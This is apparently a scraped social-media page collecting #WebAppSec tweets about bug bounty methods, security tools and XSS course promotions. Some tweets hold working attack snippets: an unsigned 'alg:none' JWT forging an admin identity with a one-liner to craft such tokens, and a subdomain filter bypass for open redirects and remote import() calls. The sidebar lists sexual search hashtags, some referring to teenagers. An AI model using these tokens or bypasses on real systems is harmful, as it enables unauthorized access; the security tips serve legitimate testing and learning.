Top Tweets for #WebAPPSec
Spotting vulnerable endpoints:
Any state-changing action—apply coupon, redeem voucher, transfer funds, vote, change email, reset password, OTP submission, file upload.
Ask: “What if two requests hit this at once?”
#WebAppSec
Crawl complex webpages with @spider_suite Interactive crawler module. It combines both manual user actions & automated traversal of webpages.
#bugbountytips #bugbounty #infosec #webappsec
SpiderSuite v2.1.0 is here!
Added new crawler types & improved the existing ones to speed up your recon workflow
#infosec #bugbounty #webappsec #pentesting
Bug Bounty Methodology with OpenCode CLI
1/10
Turn your terminal into an AI-powered bug bounty machine.
Recon → Hunt → Validate → Report — all inside OpenCode.
No more context-switching. Just pure hunting flow.
#BugBounty #OpenCode #CyberSecurity #WebAppSec
9. Remember:
Burp Suite is only as powerful as your methodology.
Precision over volume.
Context over automation.
Own the surface.
Read the patterns.
Trigger only when it matters.
Happy hunting!
#BurpSuite #BugBounty #InfoSec #WebAppSec #PenTest
This Week on Brute Logic
PHP Null Byte Trick
https://t.co/iILgjLW0rD
Brute One Web Search
https://t.co/6FShJIW7eB
SSRF Polyglots
https://t.co/uu5oAgIWtN
WP CSRF Template
https://t.co/YXF6ST8qqZ
JWT NoAlg Bypass
https://t.co/o2gUFaJwMS
#BugBounty #PenTesting #WebAppSec
JWT NoAlg Bypass (no sig needed)
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
Change the fields accordingly if needed.
echo '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."
#BugBounty #BrokenAuth
got my first "exceptional technical depth" on a duplicate report 💀 half compliment, half punishment. building my way up one dupe at a time.
The grind continues. 🥷
#bugbounty #infosec
#SSRF
#OWASP
#WebAppSec
#APIsecurity
#CloudSecurity
#GCP
📌 Just published: Web Application Security in Depth
OWASP Top 10, business logic flaws, and zero-day discovery — the definitive penetration testing framework.
https://t.co/kVo3KNhFwE
#OWASP #webappsec #CISSP
#infosec #webappsec #websec #lethaltrifecta
This urgently needs to be addressed by browser vendors: https://t.co/t184GoQtnj
The problem is that `webrtc 'block';` felt inconsistent, so even though it got accepted into a spec at one time, it didn't get full adoption of browser vendors.
@grok any alternative in the works?
#WebAppSec Rule #1337
Stripping things from the input is not a good idea when you have a WAF in between.
#XSS #bypass
I wrote a Blog post about combining ZAP with CyberChef.
#AppSec #WebAppSec #BugBountyTips
https://t.co/EGcYjFHjhd
Checkout what the @zaproxy team has been out to recently as well as a review of 2025 accomplishments.
#AppSec #WebAppSec #DevSecOps #ITSec
https://t.co/sPexUkaZik Subdomain #Bypass
=> Use when domain is required by the filter
=> You can use any domain as subdomain
Examples:
=> Open Redirect
?url=//google.com.X55.is
=> Remote Call
import('//google.com.X55.is')
#BugBounty #PenTesting #WebAppSec
Here's a 20% OFF Coupon for YOU!
🎁 KXPJAN20 🎁
Valid for all subscriptions.
** Only until the end of this month **
Sign up and upgrade now: https://t.co/3sWDgbdEN9
#XSS #BugBounty @PenTesting #WebAppSec
Hey twitterverse. Can you get @zaproxy to 15k ⭐️?
#OpenSource #DAST #AppSec #WebAppSec #ITSec #CyberSec #PenTest #BugBountyTips
Current Stars 14500
https://t.co/MVBZdFvjrd
#BlackFriday promo season already started!
#BlackNovember #XSS
Discounts up to 50%, check it out! 🔥
➡️ https://t.co/3sWDgbdEN9 - by @BRuteLogic
Check also https://t.co/24R4KxAHck for ebooks.
#WebAppSec #BugBounty #PenTesting
Today's suggestion: "OWASP Top 10 Adds A03:2025: Software Supply Chain Failures" ❗️💁🏻♀️
Credit: @EndorLabs 🌟🙌🏻
Link: https://t.co/P2noNsZHTi 🔗
#cybersecurity #infosec #OWASP #Top10 #webapplicationsecurity #appsec #applicationsecurity #webappsec #pentest #pentesting #pentester #happyhacking #supplychain #resourcesharing #article #learningeveryday
Black November promo season just started!
Up to 50% OFF, check it out!
https://t.co/3sWDgbdEN9 - #XSS made easy.
#BugBounty #PenTesting #WebAppSec
BypaXSS - The Brute Art of Bypass
Slides from the @BugBountyArg @ekoparty 2025 talk
#XSS #Bypass #WebAppSec
https://t.co/0s3d4ErQdx
Last Seen Hashtags on Sotwe
teenager
Seen from United States
Teenagegirls filter:videos
Seen from Spain
omegle
Seen from United States
monkeyapp
Seen from Canada
ForeverandEver
Seen from Indonesia
อยากอม
Seen from Thailand
Nolimit() + filter:native_video
Seen from Canada
gaytaboo
Seen from United States
こころや
Seen from Venezuela
pussyqueef
Seen from Qatar
Trends for you
Most Popular Users
Elon Musk 
@elonmusk
241.2M followers
Barack Obama
@barackobama
119.1M followers
Cristiano Ronaldo
@cristiano
112.7M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Narendra Modi
@narendramodi
107.1M followers
Rihanna
@rihanna
98.2M followers
NASA
@nasa
92.2M followers
Justin Bieber
@justinbieber
91.4M followers
KATY PERRY
@katyperry
88.9M followers
Taylor Swift
@taylorswift13
82.8M followers
Lady Gaga
@ladygaga
74.3M followers
Virat Kohli
@imvkohli
71.8M followers
Kim Kardashian
@kimkardashian
70.4M followers
YouTube
@youtube
68.8M followers
Neymar Jr
@neymarjr
64.7M followers
Bill Gates
@billgates
64.6M followers
The Ellen Show
@theellenshow
62.4M followers
Selena Gomez
@selenagomez
62M followers
CNN
@cnn
61.8M followers
X
@x
60.8M followers